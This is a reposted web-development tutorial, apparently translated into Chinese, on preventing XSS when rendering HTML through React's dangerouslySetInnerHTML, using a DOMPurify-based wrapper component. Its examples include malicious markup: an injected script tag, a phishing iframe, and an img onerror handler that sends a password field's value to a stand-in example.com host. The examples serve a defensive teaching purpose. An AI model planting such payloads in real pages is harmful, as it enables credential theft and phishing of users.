首页 > web前端 > js教程 > 正文

使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞

DDD
发布: 2024-09-13 06:35:32
原创
756 人浏览过

Mitigate XSS exploits when using React

封面图片由 Lautaro Andreani

...

TL: DR;盲目地将内容转储到危险的​SetInnerHTML 中就是这样 - 危险。确保您正在清理传递给危险​SetInnerHTML 的任何输入,除非您对输入有显式控制。

以下组件作为通过危险的 SetInnerHTML 降低 XSS 攻击风险的简单示例:

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  }
  return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};

export default DangerousHtml;
登录后复制

通过使用我们定制的 DangerousHtml 组件,我们可以显着降低 XSS 漏洞利用的风险,因为我们会在输入到达实际危险的 SetInnerHTML 属性之前对其进行清理

DOMPurify 也是高度可配置的,因此您可能希望拥有多个组件(如我们的示例)来处理特定用例或显式允许以下某些示例。

以下是一些有关漏洞利用如何发生的简短示例:

利用 iFrame 和脚本标签

XSS 是可能的,因为 React 不会删除指向恶意负载的脚本标签。

我们也不应该以这种方式传递 iFrame。相反,我们应该将 URL 和任何其他“安全”属性作为 props 传递,并在 iFrame 标记中自行渲染,以保留对其渲染能力和源的控制,或者拥有专用的 iFrame 组件。

例如,考虑一下我们从 API 请求收到的恶意标记。如果我们通过危险的SetInnerHTML盲目地设置它,我们将为用户提供以下输出:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
  }}
/>
登录后复制
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>
登录后复制

但是,使用我们的 DangerousHTML 组件意味着我们已经减轻了用户可能面临的大部分风险:

// Bad markup going in
<DangerousHtml
  innerHTML={`<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>
登录后复制
<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>
登录后复制

Fiona 可能认为网站因某种原因损坏或丢失内容 - 但这仍然比被钓鱼获取银行详细信息要好!

属性操纵/中毒

一些 DOM 元素具有我们可以滥用的特殊属性,我们应该保护自己免受这些属性的侵害。

在此示例中,我们可以在 上运行一些 JS标签的 onerror。

例如,给出以下内容:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`,
  }}
/>
登录后复制
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img
      src="none.png"
      onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
    />
    Sharon
  </p>
</div>
登录后复制

在这种情况下,当图像请求最终失败并且用户永远不会知道时,我们的中毒标记正在从 DOM 窃取数据。

我们可以使用 DangerousHtml 组件再次缓解这种情况

// Bad markup going in
<DangerousHtml
  innerHTML={`
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`}
/>
登录后复制
<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img src="none.png" />
    Sharon
  </p>
</div>
登录后复制

考虑到我们可能真的想执行一些 JS 来显示后备图像,我们不应该再相信原始的、未经净化的 HTML 来为我们做这件事,并且最好使用我们需要的 FallbackImageURL 或 onError 属性。可以像这样显式添加到我们的图像标签中:

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img
      src={url}
      onerror={displayFallbackImage}
      // ... any other props
    />
  );
};
登录后复制

...

原创文章:https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml

以上是使用 React 的'危险 SetInnerHTML”时缓解 XSS 漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!

来源:dev.to
本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责声明 Sitemap
PHP中文网:公益在线PHP培训,帮助PHP学习者快速成长!